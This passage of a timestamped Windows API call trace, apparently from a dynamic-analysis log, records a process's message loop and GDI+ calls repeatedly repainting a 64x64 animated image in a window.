Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.031] GetSystemMetrics (nIndex=42) returned 0 [0144.031] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.031] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.031] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.031] CoTaskMemFree (pv=0x1e91eca0) [0144.031] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.031] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.031] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.031] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.031] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.031] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.031] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.031] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.032] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.032] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0144.032] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.032] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.032] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.033] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.033] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.033] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.033] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.033] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.033] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.033] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.033] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.033] GetCurrentObject (hdc=0x31010b91, type=0x1) returned 0x1b00017 [0144.034] GetCurrentObject (hdc=0x31010b91, type=0x2) returned 0x1900010 [0144.034] GetCurrentObject (hdc=0x31010b91, type=0x7) returned 0x1a05067e [0144.034] GetCurrentObject (hdc=0x31010b91, type=0x6) returned 0x18a002e [0144.034] SaveDC (hdc=0x31010b91) returned 1 [0144.034] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd20407c3 [0144.034] GetClipRgn (hdc=0x31010b91, hrgn=0xffffffffd20407c3) returned 0 [0144.034] SelectClipRgn (hdc=0x31010b91, hrgn=0xffffffffa2040b8a) returned 2 [0144.034] DeleteObject (ho=0xffffffffd20407c3) returned 1 [0144.034] DeleteObject (ho=0xffffffffa2040b8a) returned 1 [0144.035] OffsetViewportOrgEx (in: hdc=0x31010b91, x=0, y=0, lppt=0x26dafd8 | out: lppt=0x26dafd8) returned 1 [0144.035] GetNearestColor (hdc=0x31010b91, color=0xffffff) returned 0xffffff [0144.035] CreateSolidBrush (color=0xffffff) returned 0xffffffffaa100190 [0144.035] FillRect (hDC=0x31010b91, lprc=0x15d7c0, hbr=0xffffffffaa100190) returned 1 [0144.035] DeleteObject (ho=0xffffffffaa100190) returned 1 [0144.035] RestoreDC (hdc=0x31010b91, nSavedDC=-1) returned 1 [0144.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.035] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x31010b91) returned 0x0 [0144.035] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc920dbd) returned 0x0 [0144.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.036] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0144.036] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.036] GetSystemMetrics (nIndex=42) returned 0 [0144.036] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.036] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.036] CoTaskMemFree (pv=0x1e91eca0) [0144.036] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.036] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.036] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.036] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.037] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x31010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.037] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.037] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x31010b91) returned 0x0 [0144.037] SelectObject (hdc=0x31010b91, h=0x185000f) returned 0x1a05067e [0144.037] DeleteDC (hdc=0x31010b91) returned 1 [0144.037] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.037] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.037] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.037] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.037] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.038] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.038] WaitMessage () returned 1 [0144.195] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.195] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.195] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.195] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.195] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.195] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.195] GetCurrentThreadId () returned 0xec0 [0144.195] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.195] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.195] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.195] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.195] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.195] DispatchMessageW (lpMsg=0x15e910) returned 0x11d00110001 [0144.195] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.196] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.196] CreateCompatibleDC (hdc=0x3010b83) returned 0x32010b91 [0144.196] SelectObject (hdc=0x32010b91, h=0x1a05067e) returned 0x185000f [0144.196] GdipCreateFromHDC (hdc=0x32010b91, graphics=0x15daf0) returned 0x0 [0144.196] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.196] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.196] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.196] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.196] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.196] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.197] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.197] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.197] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.197] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.197] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.197] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0144.197] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.198] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.198] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.198] GetSystemMetrics (nIndex=42) returned 0 [0144.198] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.198] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.198] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.198] CoTaskMemFree (pv=0x1e91eca0) [0144.198] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.198] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.198] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.199] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.199] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.199] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.199] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.199] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.199] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.199] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0144.200] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.200] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.200] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.200] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.200] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.200] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.201] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.201] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.201] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.201] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.201] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.201] GetCurrentObject (hdc=0x32010b91, type=0x1) returned 0x1b00017 [0144.201] GetCurrentObject (hdc=0x32010b91, type=0x2) returned 0x1900010 [0144.201] GetCurrentObject (hdc=0x32010b91, type=0x7) returned 0x1a05067e [0144.201] GetCurrentObject (hdc=0x32010b91, type=0x6) returned 0x18a002e [0144.202] SaveDC (hdc=0x32010b91) returned 1 [0144.202] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa3040b8a [0144.202] GetClipRgn (hdc=0x32010b91, hrgn=0xffffffffa3040b8a) returned 0 [0144.202] SelectClipRgn (hdc=0x32010b91, hrgn=0xffffffffd30407c3) returned 2 [0144.202] DeleteObject (ho=0xffffffffa3040b8a) returned 1 [0144.202] DeleteObject (ho=0xffffffffd30407c3) returned 1 [0144.202] OffsetViewportOrgEx (in: hdc=0x32010b91, x=0, y=0, lppt=0x26db910 | out: lppt=0x26db910) returned 1 [0144.202] GetNearestColor (hdc=0x32010b91, color=0xffffff) returned 0xffffff [0144.202] CreateSolidBrush (color=0xffffff) returned 0xffffffffab100190 [0144.203] FillRect (hDC=0x32010b91, lprc=0x15d7c0, hbr=0xffffffffab100190) returned 1 [0144.203] DeleteObject (ho=0xffffffffab100190) returned 1 [0144.203] RestoreDC (hdc=0x32010b91, nSavedDC=-1) returned 1 [0144.203] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.203] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x32010b91) returned 0x0 [0144.203] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc900dbd) returned 0x0 [0144.203] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.203] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0144.203] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.203] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.203] GetSystemMetrics (nIndex=42) returned 0 [0144.204] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.204] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.204] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.204] CoTaskMemFree (pv=0x1e91eca0) [0144.204] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0144.206] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.206] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.206] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.206] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.206] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x32010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.206] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.207] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x32010b91) returned 0x0 [0144.207] SelectObject (hdc=0x32010b91, h=0x185000f) returned 0x1a05067e [0144.207] DeleteDC (hdc=0x32010b91) returned 1 [0144.207] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.207] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.207] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.207] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.207] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.207] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.207] WaitMessage () returned 1 [0144.319] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.320] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.320] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.320] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.320] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.320] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.320] GetCurrentThreadId () returned 0xec0 [0144.320] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.320] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.320] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.320] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.320] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.320] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.320] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.320] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.320] CreateCompatibleDC (hdc=0x3010b83) returned 0x33010b91 [0144.321] SelectObject (hdc=0x33010b91, h=0x1a05067e) returned 0x185000f [0144.321] GdipCreateFromHDC (hdc=0x33010b91, graphics=0x15daf0) returned 0x0 [0144.321] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.321] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.321] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.321] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.321] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.321] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.321] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.322] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.322] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.322] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.322] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.322] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0144.322] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.322] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.322] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.322] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.322] GetSystemMetrics (nIndex=42) returned 0 [0144.322] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.322] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.322] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.323] CoTaskMemFree (pv=0x1e91eca0) [0144.323] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.323] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.323] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.323] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.323] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.323] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.323] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.323] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.324] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.324] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0144.324] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.324] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.324] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.324] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.324] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.324] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.324] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.324] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.325] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.325] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.325] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.325] GetCurrentObject (hdc=0x33010b91, type=0x1) returned 0x1b00017 [0144.325] GetCurrentObject (hdc=0x33010b91, type=0x2) returned 0x1900010 [0144.325] GetCurrentObject (hdc=0x33010b91, type=0x7) returned 0x1a05067e [0144.325] GetCurrentObject (hdc=0x33010b91, type=0x6) returned 0x18a002e [0144.325] SaveDC (hdc=0x33010b91) returned 1 [0144.325] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd40407c3 [0144.326] GetClipRgn (hdc=0x33010b91, hrgn=0xffffffffd40407c3) returned 0 [0144.326] SelectClipRgn (hdc=0x33010b91, hrgn=0xffffffffa4040b8a) returned 2 [0144.326] DeleteObject (ho=0xffffffffd40407c3) returned 1 [0144.326] DeleteObject (ho=0xffffffffa4040b8a) returned 1 [0144.326] OffsetViewportOrgEx (in: hdc=0x33010b91, x=0, y=0, lppt=0x26dcc10 | out: lppt=0x26dcc10) returned 1 [0144.326] GetNearestColor (hdc=0x33010b91, color=0xffffff) returned 0xffffff [0144.326] CreateSolidBrush (color=0xffffff) returned 0xffffffffac100190 [0144.326] FillRect (hDC=0x33010b91, lprc=0x15d7c0, hbr=0xffffffffac100190) returned 1 [0144.326] DeleteObject (ho=0xffffffffac100190) returned 1 [0144.326] RestoreDC (hdc=0x33010b91, nSavedDC=-1) returned 1 [0144.326] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.326] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x33010b91) returned 0x0 [0144.327] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc8e0dbd) returned 0x0 [0144.327] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.327] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0144.327] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.327] GetSystemMetrics (nIndex=42) returned 0 [0144.327] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.327] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.327] CoTaskMemFree (pv=0x1e91eca0) [0144.327] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.327] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.327] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.327] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.328] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x33010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.328] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.328] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x33010b91) returned 0x0 [0144.328] SelectObject (hdc=0x33010b91, h=0x185000f) returned 0x1a05067e [0144.328] DeleteDC (hdc=0x33010b91) returned 1 [0144.328] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.328] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.328] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.328] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.328] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.328] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.328] WaitMessage () returned 1 [0144.475] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.476] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.476] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.476] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.476] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.476] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0144.476] GetCurrentThreadId () returned 0xec0 [0144.476] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0144.476] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0144.476] IsWindowUnicode (hWnd=0x2031e) returned 1 [0144.476] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0144.476] TranslateMessage (lpMsg=0x15e910) returned 0 [0144.476] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0144.476] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0144.476] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0144.476] CreateCompatibleDC (hdc=0x3010b83) returned 0x34010b91 [0144.477] SelectObject (hdc=0x34010b91, h=0x1a05067e) returned 0x185000f [0144.477] GdipCreateFromHDC (hdc=0x34010b91, graphics=0x15daf0) returned 0x0 [0144.477] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0144.477] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0144.477] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0144.477] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0144.477] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0144.477] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.477] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0144.478] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.478] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.478] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.478] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.478] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0144.478] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.478] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) 